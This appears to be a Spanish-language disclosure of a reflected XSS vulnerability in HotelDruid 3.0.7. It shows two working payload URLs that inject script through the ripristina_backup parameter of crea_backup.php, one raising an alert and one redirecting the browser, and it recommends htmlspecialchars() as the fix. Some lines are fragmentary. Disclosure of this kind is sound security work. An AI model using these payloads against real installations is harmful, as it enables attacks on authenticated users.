
Prueba de concepto de vulnerabilidad Reflected XSS para HotelDruid 3.0.7, que demuestra la ejecución arbitraria de JavaScript a través del parámetro ripristina_backup en crea_backup.php.
Vulnerabilidad de Cross Site Scripting en DigitalDruid HotelDruid v.3.0.7 permite a un atacante ejecutar código arbitrario y obtener información sensible a través del parámetro ripristina_backup en el endpoint crea_backup.php
Un atacante podría engañar a un usuario autenticado para que visite una URL manipulada, lo que desencadenaría JavaScript malicioso en su navegador. Las consecuencias potenciales incluyen:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
Resultado: Una alerta emergente con el mensaje “Huy Vo Found This Vulnerability” confirma la ejecución exitosa de XSS.
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
Resultado: El navegador redirige automáticamente a Facebook.
HotelDruid es un sistema de gestión de propiedades de código abierto utilizado para gestionar reservas, habitaciones y facturación para hoteles, B&Bs y otros negocios de hospitalidad. Está basado en web, típicamente instalado en servidores locales y accedido mediante navegador. Dada su interfaz web y naturaleza administrativa, la seguridad sólida es crucial, especialmente para funciones autenticadas.
El endpoint crea_backup.php procesa el parámetro ripristina_backup sin saneamiento ni codificación, reflejando directamente la entrada del usuario en la página. Esto permite a un atacante crear una URL maliciosa que inyecta JavaScript arbitrario en la página renderizada para un usuario autenticado.
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup.htmlspecialchars() en PHP para codificar los caracteres < y >).